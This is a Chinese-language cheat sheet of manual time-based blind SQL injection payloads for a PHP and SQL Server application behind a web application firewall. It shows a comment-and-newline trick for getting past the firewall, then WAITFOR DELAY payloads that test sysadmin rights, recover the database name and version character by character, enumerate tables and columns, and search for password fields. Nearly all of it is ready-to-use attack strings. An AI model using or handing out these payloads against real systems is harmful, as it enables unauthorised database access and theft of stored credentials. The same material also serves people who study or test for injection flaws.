假设存在一个PHP+SQL SERVER的环境,存在POST注入,只能进行延时盲注,存在防火墙,Sqlmap能够绕过,但不能注入,手工注入语句如下:
#inject为注入点,--OwlXXpFshm%0A绕过WAF,替换空格为注释+回车 #如果存在注入,返回的数据包将延时5秒以上 inject';WAITFOR--OwlXXpFshm%0ADELAY--OwlXXpFshm%0A'0:0:5'--
#如果是sysadmin权限,则延时5秒 inject';if ( select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--
#'>'二分法查询长度 inject';if(len(db_name()))>40 WAITFOR DELAY '0:0:5'-- #查询数据库名字 #substring截取字符串的位置,用ascii转为数字进行二分法查询 inject';if(ascii(substring(db_name(),1,1)))>40 WAITFOR DELAY '0:0:5'--
inject';if(ascii(substring((select @@version),22,1))=50 WAITFOR DELAY '0:0:5'--
select count(*) from SysObjects where xtype='u' #查询表个数 inject';if((select count(*) from SysObjects where xtype='u')>15) WAITFOR DELAY '0:0:5'--
select top 1 name from SysObjects where xtype='u'#查询第一个表 (select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u')#查询结果为1 and len(name)=9#利用and,进行判断,9为表长度的猜测 inject';if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and len(name)=9)=1) WAITFOR DELAY '0:0:5'--
inject';if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u') and ascii(substring(name,1,1))>90)=1) WAITFOR DELAY '0:0:5'--
select top 1 name from SysObjects where xtype='u' and name not in ('TB1')#查询第一个表名,去除TB1,TB1为第一个表名 #同理,第三个表则 and name not in ('TB2','TB1') inject';if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('TB1')) and len(name)>1)<>0) WAITFOR DELAY '0:0:5'-
inject';if((select count(*) from SysObjects where name in (select top 1 name from SysObjects where xtype='u' and name not in ('TB1')) and ascii(substring(name,1,1))>1)=1) WAITFOR DELAY '0:0:5'--
#and name not in ('')查询第二个字段的时候可以直接在其中,排除第一个字段名 inject';if((select count(*) from syscolumns where name in (select top 1 name from syscolumns where id = object_id('TB') and name not in ('')) and ascii(substring(name,1,1))>1)<>0) WAITFOR DELAY '0:0:1'--
#not in 中填入查出的值 inject';if((select count(*) from TB where CL in (select top 1 CL from TB where CL not in ('')) and ascii(substring(CL,1,1))>1)=1) WAITFOR DELAY '0:0:1'--
inject';if((select count(*) from information_schema.columns where data_type in(select top 1 data_type from information_schema.columns where table_name ='TB') and ascii(substring(data_type,1,1))>116)<>0) WAITFOR DELAY '0:0:5'--
SELECT Name FROM Master..SysDatabases ORDER BY Name#查询所有数据库 SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password'#查询存在password字段的表名 inject';if((select count(*) from sysobjects where name in ((select name from sysobjects where name in (SELECT top 1 sb.name FROM syscolumns s JOIN sysobjects sb ON s.id=sb.id WHERE s.name='password') and ascii(substring(sysobjects.name,1,1))>1)))>0) waitfor delay '0:0:1'-- SELECT top 1 name FROM SysColumns where name like '%pass%'#查询包含pass的字段名 inject';if((select count(*) from SysColumns where name in (SELECT top 1 name FROM SysColumns where name like '%pass%' and ascii(substring(name,1,1))>1))>0) waitfor delay '0:0:1'--